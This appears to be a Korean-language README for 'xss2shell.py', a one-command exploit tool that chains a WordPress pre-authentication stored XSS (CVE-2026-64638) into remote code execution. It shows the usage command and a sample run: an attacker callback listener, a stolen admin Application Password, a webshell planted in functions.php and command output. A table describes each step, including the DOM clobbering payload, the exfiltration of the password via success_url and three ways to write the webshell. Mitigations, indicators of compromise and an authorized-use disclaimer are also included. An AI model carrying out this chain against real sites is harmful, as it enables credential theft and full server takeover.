
CVE-2026-64638 | WordPress < 7.0.3 인증 전 저장형 XSS → RCE
WordPress < 7.0.3은 wp-login.php의 log(사용자 이름) 매개변수를 정화하지 않습니다. 이 값은 관리자의 인증된 세션 내에 저장되고 렌더링됩니다. 즉, 단 한 번의 클릭으로 전체 서버 장악으로 이어지는 인증 전 저장형 XSS입니다.
Victim clicks lure ---> XSS fires ---> App Password stolen ---> Shell planted ---> RCE
# Zero dependencies. Pure Python 3.
python xss2shell.py -t http://target.com -c "id"
[*] Target: http://target.com
[+] WordPress login found
[+] Listening on 192.168.1.5:9443
[*] Send this to the admin -> http://192.168.1.5:9443/
[*] Waiting for victim ...
[+] Victim opened the attacker page
[+] XSS payload POSTed to wp-login.php
[+] Application Password stolen: user=admin pass=XXXX XXXX XXXX XXXX
[+] Theme editor -> webshell in functions.php
============================================================
[+] RCE via theme
[+] $ id
------------------------------------------------------------
uid=33(www-data) gid=33(www-data) groups=33(www-data)
============================================================
[+] Shell -> http://target.com/?xss2shell_cmd=whoami
[+] Done.
usage: xss2shell.py [-h] -t TARGET -c COMMAND [--lhost IP] [--lport PORT] [--keep]
-t, --target Target WordPress URL
-c, --command OS command to execute on the server
--lhost Attacker callback IP (default: auto-detect)
--lport Attacker callback port (default: random)
--keep Don't clean up artifacts after exploitation
| 단계 | 동작 | 세부 사항 |
|---|---|---|
| 1. XSS | wp-login.php를 통해 주입 | DOM 클로버링(<area id=ajaxurl>)이 포함된 조작된 log 파라미터가 WP의 AJAX URL을 하이재킹하여 JSONP를 통해 App Password 승인을 자동 클릭 |
| 2. 탈취 | Application Password 유출 | authorize-application.php가 조용히 App Password를 생성하고, success_url이 이를 공격자에게 전송 |
| 3. 셸 | 웹셸 작성 (3가지 대체 방법) | 테마 편집기 → functions.php · 플러그인 업로드 → xss2shell/shell.php · 플러그인 편집기 → 기존 플러그인 파일 |
| 4. RCE | OS 명령 실행 | 웹셸이 shell_exec()를 실행하고 JSON 출력을 반환하며, 도구가 자동으로 검증하고 정리 |
| 버전 | 상태 |
|---|---|
| WordPress < 7.0.3 | 취약함 |
| WordPress >= 7.0.3 | 패치됨 |
| 조건 | 영향 |
|---|---|
DISALLOW_FILE_EDIT | 테마/플러그인 편집기 차단 — ZIP 업로드만 작동 |
DISALLOW_FILE_MODS | 3가지 방법 모두 차단 — RCE 불가 |
| WAF (Cloudflare, Wordfence) | XSS 페이로드 또는 웹셸 요청을 필터링할 수 있음 |
PHP의 disable_functions | shell_exec 차단 — 빈 출력 |
| 팝업 차단기 | 팝업 체인 중단 |
| 엄격한 CSP 헤더 | 인라인 JS 또는 교차 출처 fetch 차단 |
사이트에 xss2shell이 사용된 경우 다음 지표를 찾아보세요:
XSS2Shell-Poc-Wordsec인 Application Passwordwp-content/plugins/ 내의 xss2shell 플러그인functions.php 또는 모든 플러그인 파일 내의 xss2shell_cmd 문자열/?rest_route=/&_method=GET&_jsonp=로의 JSONP 요청CVE-2026-64638에 대한 모든 공개 PoC는 alert(1)에서 멈추거나 어떤 트리아저도 재현할 수 없는 수동 단계를 요구합니다. 이 도구는 단일 명령으로 전체 체인 익스플로잇을 제공합니다 — 인증 없음에서 RCE까지. 이론이 아닌 증명이 필요한 보안 연구자를 위해 만들어졌습니다.
승인된 보안 테스트 및 교육 목적으로만 사용하십시오. 소유한 시스템 또는 테스트에 대한 명시적 서면 허가를 받은 시스템에만 사용하십시오. 컴퓨터 시스템에 대한 무단 접근은 불법입니다.
WordSec · CVE-2026-64638 · WordPress 7.0.3에서 패치됨